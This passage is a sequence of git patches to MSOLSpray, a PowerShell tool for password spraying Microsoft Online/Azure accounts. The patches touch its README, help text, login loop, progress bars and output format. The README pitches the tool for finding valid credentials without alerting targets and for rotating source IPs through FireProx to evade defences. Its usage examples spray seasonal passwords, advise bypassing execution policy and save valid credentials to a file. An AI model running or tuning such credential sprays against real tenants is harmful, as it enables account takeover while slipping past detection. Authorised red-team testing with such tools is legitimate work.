($NestedDepth - 1) + } + } + ElseIf (0 -eq $NestedDepth) { + $Argument += @{ Id = $Id } + } + Else { + If ($null -ne $id) { + $Argument += @{ Id = $Id } + } + If ($null -ne $ParentId) { + $Argument += @{ ParentId = $ParentId } + } + } + If ($null -eq $startTime -or $null -eq $ObjectToCalculate) { + If ($StepPercentage -ne $true) { + $NoTimeRemaining = $true + $NoPercentage = $true + } + ElseIf ($StepPercentage -eq $true) { + $NoTimeRemaining = $true + } + If ([String]::IsNullOrEmpty(($Activity))) { + $Argument += @{ + Activity = "Processing Record $Count" + } + } + } + ElseIf ($null -ne $ObjectToCalculate) { + If ([String]::IsNullOrEmpty(($Activity))) { + $Argument += @{ + Activity = "Processing Record $Count of $($ObjectToCalculate.Count)" + } + } + } + Elseif ($null -eq $Activity) { + $Argument += @{ + Activity = "Processing Record $Count" + } + } + If ($null -eq $Activity) { + $Argument += @{ + Activity = "Processing Record $Count" + } + } + ElseIf ($null -eq $Argument.Activity) { + $Argument += @{ + Activity = $Activity + } + } + If ($NoPercentage -ne $True) { + If ($StepPercentage -eq $true) { + $Argument += @{ + PercentComplete = (($Count / $($ManualTotalSteps)) * 100) + CurrentOperation = "$("{0:N2}" -f ((($Count/$($ManualTotalSteps)) * 100),2))% Complete" + } + } + Else { + $Argument += @{ + PercentComplete = (($Count / $($ObjectToCalculate.Count)) * 100) + CurrentOperation = "$("{0:N2}" -f ((($Count/$($ObjectToCalculate.Count)) * 100),2))% Complete" + } + } + } + If ($NoTimeRemaining -ne $true) { + $SecondsElapsed = ((Get-Date) - $StartTime).TotalSeconds + Try { + [int]$SecondsRemaining = ($SecondsElapsed / ($Count / $ObjectToCalculate.Count)) - $SecondsElapsed + } + Catch { + [int]$SecondsRemaining = 999 + } + $Argument += @{ SecondsRemaining = $SecondsRemaining } + } + If ($Task) { + If ($StepPercentage -eq $true) { + $Argument += @{ status = $("$TaskPrefixText $Count out of $ManualTotalSteps | $Task") } + } + Else { + $Argument += @{ status = $("$TaskPrefixText $Count out of $($ObjectToCalculate.Count) | $Task") } + } + } + If ($Completed) { + $Argument += @{ Completed = $Completed } } - } - - # Output to file - if ($OutFile -ne "") - { - If ($fullresults) - { - $fullresults | Out-File -Encoding ascii $OutFile - Write-Output "Results have been written to $OutFile." + Process { + ForEach ($Arg in $Argument.Keys) { + Write-Verbose $("Write-MyProgressBar - $Arg : $($Argument[$Arg])") + } + } + End { + Write-Progress -ErrorAction SilentlyContinue @Argument + If ($AddPauses) { + Start-Sleep -Milliseconds $ProgressBarWaitInMiliseconds + } + If ($Completed -eq $true) { + Return + } + If ($NoCountIncrease -ne $true) { + Return $Count + 1 } } -} \ No newline at end of file +} +#endregion From f436bae4c3e260f6da74b1f2eb8af1a9d5953206 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 00:48:18 +0000 Subject: [PATCH 02/10] Update README.md --- README.md | 105 ++++++++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 95 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index aa7be2f..5b1a5bc 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,11 @@ # MSOLSpray -A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. + +A password spraying tool for Microsoft Online accounts (Azure/O365). The script logs the response of https://login.microsoft.com. This is used for example to indicating if a user cred is valid, if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, or if the account is disabled. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS! ## Why another spraying tool? + Yes, I realize there are other password spraying tools for O365/Azure. The main difference with this one is that this tool not only is looking for valid passwords, but also the extremely verbose information Azure AD error codes give you. These error codes provide information relating to if MFA is enabled on the account, if a tenant doesn't exist, if a user doesn't exist, if the account is locked, if the account is disabled, if the password is expired and much more. So this doubles, as not only a password spraying tool but also a Microsoft Online recon tool that will provide account/domain enumeration. In limited testing it appears that on valid login to the Microsoft Online OAuth2 endpoint it isn't auto-triggering MFA texts/push notifications making this really useful for finding valid creds without alerting the target. @@ -15,18 +17,101 @@ Lastly, this tool works well with [FireProx](https://github.com/ustayready/firep [](https://www.blackhillsinfosec.com) ## Quick Start -You will need a userlist file with target email addresses one per line. Open a PowerShell terminal from the Windows command line with 'powershell.exe -exec bypass'. + +Open a PowerShell terminal from the Windows command line with 'powershell.exe -exec bypass' or run the `Set-ExecutionPolicy` command from the example below. + +### Test single username and password ```PowerShell -Import-Module MSOLSpray.ps1 -Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020 +PS C:\> Set-ExecutionPolicy -S P -e B +PS C:\> Import-Module MSOLSpray.ps1 +PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020 + +Time : 2020-08-14 12:23:44 +Username : Steve@domain.com +Password : Winter2020 +IsValid : True +ResponseError : None. ``` -### Invoke-MSOLSpray Options +### Test multiple usernames and passwords + +```PowerShell +PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com,Klaas@domain.nl -Password Winter2020,Zomer2020 | Format-Table + +Time Username Password IsValid ResponseError +---- -------- -------- ------- ------------- +2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. +2020-08-14 12:25:15 Klaas@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.nl Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Klaas@domain.nl Zomer2020 True None. +``` + +### Test multiple usernames and passwords using userlists and passwordlists + +```PowerShell +PS C:\> Invoke-MSOLSpray -UsernameList C:\users.txt -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt | Format-Table + +Time Username Password IsValid ResponseError +---- -------- -------- ------- ------------- +2020-08-14 12:25:15 Steve@domain.com Spring2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Spring020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Summer2020 True None. +2020-08-14 12:25:15 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. +2020-08-14 12:25:15 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 John@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. ``` -UserList - UserList file filled with usernames one-per-line in the format "user@domain.com" -Password - A single password that will be used to perform the password spray. -OutFile - A file to output valid results to. -Force - Forces the spray to continue and not stop when multiple account lockouts are detected. -URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. + +### Filter output to only show valid passwords + +```PowerShell +PS C:\> $results = Invoke-MSOLSpray -UsernameList C:\users.txt -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt +PS C:\> $results | Where-Object {$_.IsValid -eq $true} | Format-Table +Time Username Password IsValid ResponseError +---- -------- -------- ------- ------------- +2020-08-14 12:25:15 John@domain.com Summer2020 True None. +2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. +``` + +### Write valid passwords to a output file + +```PowerShell +PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020,Summer2020 -OutFile C:\outfile.txt +Valid results have been written to C:\outfile.txt + +PS C:\> Get-Content C:\outfile.txt +Steve@domain.com : Winter2020 : None. +``` + +### Invoke-MSOLSpray Options + +```txt +Usernames - Takes in a single or multiple usernames in the following format "user@domain.com". Can be combined with UsernameList. +UsernameList - Takes in a single or multiple UsernameList files filled with usernames. Usernames should be entered one-per-line in the following format "user@domain.com". Can be combined with Usernames. +Passwords - Takes in a single or multiple passwords. Can be combined with PasswordList. +PasswordList - Takes in a single or multiple PasswordList files with passwords. Entered one-per-line. Can be combined with Passwords. +URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. +Delay - The delay used to wait between authentication attempts. +UserAgent - The UserAgent PowerShell will use during the logon the password spray. +IgnoreSSL - This will disable any SSL/TLS checks preformed by Invoke-WebRequest during the password spray. +OutFile - A file to output valid results to. +lockout_threshold - The threshold used to stop the spray when this many locked accounts are detected. +ValidPasswordCodes - The ErrorCodes that indicate a password was valid but can not be used for reason X. +LockoutCodes - The ErrorCodes that indicates if a account is locked. +DisableUniqueValues - By default the usernames and passwords are checked for duplicates. Use this switch to disable this check. +Force - Forces the spray to continue and not stop when multiple account lockouts are detected. ``` From dfefe7aa56c634b85d73d20a697ec7d7d37852d8 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 13:10:07 +0200 Subject: [PATCH 03/10] Fixed typo in examples --- README.md | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 5b1a5bc..eeece96 100644 --- a/README.md +++ b/README.md @@ -18,12 +18,11 @@ Lastly, this tool works well with [FireProx](https://github.com/ustayready/firep ## Quick Start -Open a PowerShell terminal from the Windows command line with 'powershell.exe -exec bypass' or run the `Set-ExecutionPolicy` command from the example below. +Open a PowerShell terminal from the Windows command line with 'powershell.exe -exec bypass' or run the `Set-ExecutionPolicy -s p -e b` command in a existing PowerShell Session. ### Test single username and password ```PowerShell -PS C:\> Set-ExecutionPolicy -S P -e B PS C:\> Import-Module MSOLSpray.ps1 PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020 @@ -42,8 +41,8 @@ PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com,Klaas@domain.nl -Password W Time Username Password IsValid ResponseError ---- -------- -------- ------- ------------- 2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. -2020-08-14 12:25:15 Klaas@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. -2020-08-14 12:25:15 Steve@domain.nl Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Klaas@domain.nl Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. +2020-08-14 12:25:15 Steve@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. 2020-08-14 12:25:15 Klaas@domain.nl Zomer2020 True None. ``` @@ -79,8 +78,8 @@ Time Username Password IsValid ResponseError ### Filter output to only show valid passwords ```PowerShell -PS C:\> $results = Invoke-MSOLSpray -UsernameList C:\users.txt -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt -PS C:\> $results | Where-Object {$_.IsValid -eq $true} | Format-Table +PS C:\> Invoke-MSOLSpray -UsernameList C:\users.txt -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt | Where-Object {$_.IsValid -eq $true} | Format-Table + Time Username Password IsValid ResponseError ---- -------- -------- ------- ------------- 2020-08-14 12:25:15 John@domain.com Summer2020 True None. @@ -100,10 +99,10 @@ Steve@domain.com : Winter2020 : None. ### Invoke-MSOLSpray Options ```txt -Usernames - Takes in a single or multiple usernames in the following format "user@domain.com". Can be combined with UsernameList. -UsernameList - Takes in a single or multiple UsernameList files filled with usernames. Usernames should be entered one-per-line in the following format "user@domain.com". Can be combined with Usernames. -Passwords - Takes in a single or multiple passwords. Can be combined with PasswordList. -PasswordList - Takes in a single or multiple PasswordList files with passwords. Entered one-per-line. Can be combined with Passwords. +Usernames - Takes in a single or multiple usernames in the following format "user@domain.com". Can be combined with UsernameList option. +UsernameList - Takes in a single or multiple UsernameList files filled with usernames. Usernames should be entered one-per-line in the following format "user@domain.com". Can be combined with Usernames option. +Passwords - Takes in a single or multiple passwords. Can be combined with PasswordList option. +PasswordList - Takes in a single or multiple PasswordList files with passwords. Entered one-per-line. Can be combined with Passwords option. URL - The URL to spray against. Potentially useful if pointing at an API Gateway URL generated with something like FireProx to randomize the IP address you are authenticating from. Delay - The delay used to wait between authentication attempts. UserAgent - The UserAgent PowerShell will use during the logon the password spray. From eaaecea69c25a112034c773088b76f337a0d7d52 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 13:14:26 +0200 Subject: [PATCH 04/10] Removed debugging info from functions. --- MSOLSpray.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 3f950ba..8f2dd43 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -288,7 +288,6 @@ function Invoke-MSOLSpray { Try { $TimeOfRequest = Get-Date -Format "yyyy-MM-dd hh:mm:ss" $LogonRequest = Invoke-WebRequest -Uri $AuthURL -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable ResponseError - Write-host "$($LogonRequest.StatusCode)" If ($LogonRequest.StatusCode -eq "200") { Write-Verbose "Found valid user credential. $($Username):$($Password)" $OutputObject += Add-InvokeMSOLOutputToObject -Time $TimeOfRequest -Username $Username -Password $Password -IsValid $true -ResponseError "None." @@ -401,6 +400,7 @@ function Write-MyProgressBar { Author: Justin Perdok, https://justin-p.me. Based of: https://github.com/thomas-illiet/Write-MyProgress, Thomas ILLIET, https://thomas-illiet.fr License: MIT + .LINK https://github.com/justin-p/PowerShell/blob/master/Write-MyProgressBar.ps1 @@ -657,7 +657,7 @@ function Write-MyProgressBar { } Process { ForEach ($Arg in $Argument.Keys) { - Write-Verbose $("Write-MyProgressBar - $Arg : $($Argument[$Arg])") + Write-Debug $("Write-MyProgressBar - $Arg : $($Argument[$Arg])") } } End { From d069a8219ce4b5f861fc8eec710e11d73b527760 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 18:11:21 +0200 Subject: [PATCH 05/10] Update MSOLSpray.ps1 Updated Progress bars, verbose messages and content of the output file. --- MSOLSpray.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 8f2dd43..f7a7262 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -236,7 +236,7 @@ function Invoke-MSOLSpray { } } Process { - $ProgressBarStartTime = Get-Date + $ProgressBarStartTime = Get-Date; $ProgressBar = 0 ForEach ($List in $UsernameList) { If (Test-Path $List) { $Content = Get-Content $List @@ -247,11 +247,11 @@ function Invoke-MSOLSpray { Write-Error "Unable to open UsernameList at path: $($List)" -ErrorAction Continue } } - $ProgressBarStartTime = Get-Date + $ProgressBarStartTime = Get-Date; $ProgressBar = 0 ForEach ($List in $PasswordList) { If (Test-Path $List) { $Content = Get-Content $List - $ProgressBar = Write-MyProgressBar -StartTime $ProgressBarStartTime -ObjectToCalculate $PasswordList -Count $ProgressBar -Activity "Setting up" -NestedDepth 1 -TaskPrefixText "Userslists" -Task "Adding $($content.count) entries from $list to the list of $($Passwords.count) passwords." -AddPauses + $ProgressBar = Write-MyProgressBar -StartTime $ProgressBarStartTime -ObjectToCalculate $PasswordList -Count $ProgressBar -Activity "Setting up" -NestedDepth 1 -TaskPrefixText "Passwordlists" -Task "Adding $($content.count) entries from $list to the list of $($Passwords.count) passwords." -AddPauses $Passwords += $Content } Else { @@ -268,7 +268,7 @@ function Invoke-MSOLSpray { $UserProgressBar = Write-MyProgressBar -StartTime $UserProgressBarStartTime -ObjectToCalculate $Usernames -Count $UserProgressBar -Activity "Testing users" -NestedDepth 1 -TaskPrefixText "User" -Task "Spraying password against user $($username)" -AddPauses $PasswordProgressBarStartTime = Get-Date; $PasswordProgressBar = 0 ForEach ($Password in $Passwords) { - $PasswordProgressBar = Write-MyProgressBar -StartTime $PasswordProgressBarStartTime -ObjectToCalculate $Passwords -Count $PasswordProgressBar -Activity "Testing Passwords" -NestedDepth 2 -id 2 -parentid 1 -TaskPrefixText "User" -Task "Spraying password $($Password)" -AddPauses + $PasswordProgressBar = Write-MyProgressBar -StartTime $PasswordProgressBarStartTime -ObjectToCalculate $Passwords -Count $PasswordProgressBar -Activity "Testing Passwords" -NestedDepth 2 -id 2 -parentid 1 -TaskPrefixText "Password" -Task "Spraying password $($Password)" -AddPauses If ($Delay -gt 0) { Start-Sleep -Seconds $Delay } @@ -289,7 +289,7 @@ function Invoke-MSOLSpray { $TimeOfRequest = Get-Date -Format "yyyy-MM-dd hh:mm:ss" $LogonRequest = Invoke-WebRequest -Uri $AuthURL -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable ResponseError If ($LogonRequest.StatusCode -eq "200") { - Write-Verbose "Found valid user credential. $($Username):$($Password)" + Write-Verbose "Found valid user credential. $($TimeOfRequest):$($Username):$($Password)" $OutputObject += Add-InvokeMSOLOutputToObject -Time $TimeOfRequest -Username $Username -Password $Password -IsValid $true -ResponseError "None." } Else { @@ -326,7 +326,7 @@ function Invoke-MSOLSpray { If ($OutFile) { If ($OutputObject) { $OutputObject | Where-Object { $_.IsValid -eq $true } | ForEach-Object { - Write-Output "$($_.Username) : $($_.Password) : $($_.ResponseError)" | Add-Content -Encoding Ascii -Path $OutFile + Write-Output "$($_.Time) : $($_.Username) : $($_.Password) : $($_.ResponseError)" | Add-Content -Encoding Ascii -Path $OutFile } Write-Output "Valid results have been written to $OutFile." } From b4f74c45e1b6101f198f5b46d8a29e743671868c Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 18:13:09 +0200 Subject: [PATCH 06/10] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index eeece96..0191a29 100644 --- a/README.md +++ b/README.md @@ -93,7 +93,7 @@ PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020,Summe Valid results have been written to C:\outfile.txt PS C:\> Get-Content C:\outfile.txt -Steve@domain.com : Winter2020 : None. +2020-08-14 12:25:15 : Steve@domain.com : Winter2020 : None. ``` ### Invoke-MSOLSpray Options From 4e7e898f3484e35cfcdc3b5ce2fc286e1c933526 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 18:23:02 +0200 Subject: [PATCH 07/10] Update timestamp format --- MSOLSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index f7a7262..98e7eb5 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -286,7 +286,7 @@ function Invoke-MSOLSpray { 'Content-Type' = 'application/x-www-form-urlencoded' } Try { - $TimeOfRequest = Get-Date -Format "yyyy-MM-dd hh:mm:ss" + $TimeOfRequest = Get-Date -Format o $LogonRequest = Invoke-WebRequest -Uri $AuthURL -Method Post -Headers $PostHeaders -Body $BodyParams -ErrorVariable ResponseError If ($LogonRequest.StatusCode -eq "200") { Write-Verbose "Found valid user credential. $($TimeOfRequest):$($Username):$($Password)" From 13db92301c636f33e8ec4b4b9d34ed6bb6b737b4 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 15 Aug 2020 18:25:24 +0200 Subject: [PATCH 08/10] Update MSOLSpray.ps1 Updated CBH to reflect changes to the timestamp format --- MSOLSpray.ps1 | 104 +++++++++++++++++++++++++------------------------- 1 file changed, 52 insertions(+), 52 deletions(-) diff --git a/MSOLSpray.ps1 b/MSOLSpray.ps1 index 98e7eb5..8272d3b 100644 --- a/MSOLSpray.ps1 +++ b/MSOLSpray.ps1 @@ -26,7 +26,7 @@ function Invoke-MSOLSpray { .OUTPUTS Time Username Password IsValid ResponseError ---- -------- -------- ------- ------------- - 2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2020 True None. .PARAMETER Usernames Takes in a single or multiple usernames in the following format "user@domain.com". @@ -89,7 +89,7 @@ function Invoke-MSOLSpray { PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020 - Time : 2020-08-14 12:23:44 + Time : 2020-08-15T18:20:50.1611349+02:00 Username : Steve@domain.com Password : Winter2020 IsValid : True @@ -99,7 +99,7 @@ function Invoke-MSOLSpray { PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com -Passwords Winter2020 -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox - Time : 2020-08-14 12:23:44 + Time : 2020-08-15T18:20:50.1611349+02:00 Username : Steve@domain.com Password : Winter2020 IsValid : True @@ -110,63 +110,63 @@ function Invoke-MSOLSpray { Valid results have been written to C:\outfile.txt PS C:\> gc C:\outfile.txt - Steve@domain.com : Winter2020 : None. + 2020-08-15T18:20:50.1611349+02:00 : Steve@domain.com : Winter2020 : None. .EXAMPLE # The following command will use the provided UsernameList and attempt to authenticate to each account with a password of Winter2020. PS C:\> Invoke-MSOLSpray -UsernameList C:\UsernameList.txt -Password Winter2020 | Format-Table - Time Username Password IsValid ResponseError - ---- -------- -------- ------- ------------- - 2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. - 2020-08-14 12:25:15 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Dave@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2020 True None. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Dave@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. .EXAMPLE # The following command will use the provided usernames and both UsernameList and attempt to authenticate to each account with the passwords Summer2020 and Zomer2020. PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com,Klaas@domain.nl -UsernameList C:\domain_com_UsernameList.txt,C:\domein_nl_UsernameList.txt -Password Summer2020,Zomer2020 | Format-Table - Time Username Password IsValid ResponseError - ---- -------- -------- ------- ------------- - 2020-08-14 12:25:15 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Summer2020 True None. - 2020-08-14 12:25:15 Dave@domain.com Summer2020 True AADSTS50079: Due to a configuration change made by your administrator, or because you moved to a new location, you must enroll in multi-factor authentication to access '{identifier}'. - 2020-08-14 12:25:15 klaas@domain.nl Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 jan@domain.nl Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Dave@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 klaas@domain.nl Zomer2020 True None. - 2020-08-14 12:25:15 jan@domain.nl Zomer2020 True AADSTS53000: Device is not in required device state: compliant. Conditional Access policy requires a compliant device, and the device is not compliant. The user must enroll their device with an approved MDM provider like Intune. + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Summer2020 True None. + 2020-08-15T18:20:50.1611349+02:00 Dave@domain.com Summer2020 True AADSTS50079: Due to a configuration change made by your administrator, or because you moved to a new location, you must enroll in multi-factor authentication to access '{identifier}'. + 2020-08-15T18:20:50.1611349+02:00 klaas@domain.nl Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 jan@domain.nl Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Dave@domain.com Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 klaas@domain.nl Zomer2020 True None. + 2020-08-15T18:20:50.1611349+02:00 jan@domain.nl Zomer2020 True AADSTS53000: Device is not in required device state: compliant. Conditional Access policy requires a compliant device, and the device is not compliant. The user must enroll their device with an approved MDM provider like Intune. .EXAMPLE # The following command will use the provided usernames and attempt to authenticate to each account with the passwords from both PasswordLists PS C:\> Invoke-MSOLSpray -Usernames Steve@domain.com,John@domain.com -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt - Time Username Password IsValid ResponseError - ---- -------- -------- ------- ------------- - 2020-08-14 12:25:15 Steve@domain.com Spring2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Spring020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Summer2020 True None. - 2020-08-14 12:25:15 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Winter2020 True None. - 2020-08-14 12:25:15 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Domain! False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 Steve@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. - 2020-08-14 12:25:15 John@domain.com Domain@ False AADSTS50126: Error validating credentials due to invalid username or password. + Time Username Password IsValid ResponseError + ---- -------- -------- ------- ------------- + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Spring2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Spring020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Summer2020 True None. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Winter2020 True None. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 Steve@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 2020-08-15T18:20:50.1611349+02:00 John@domain.com Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password. + 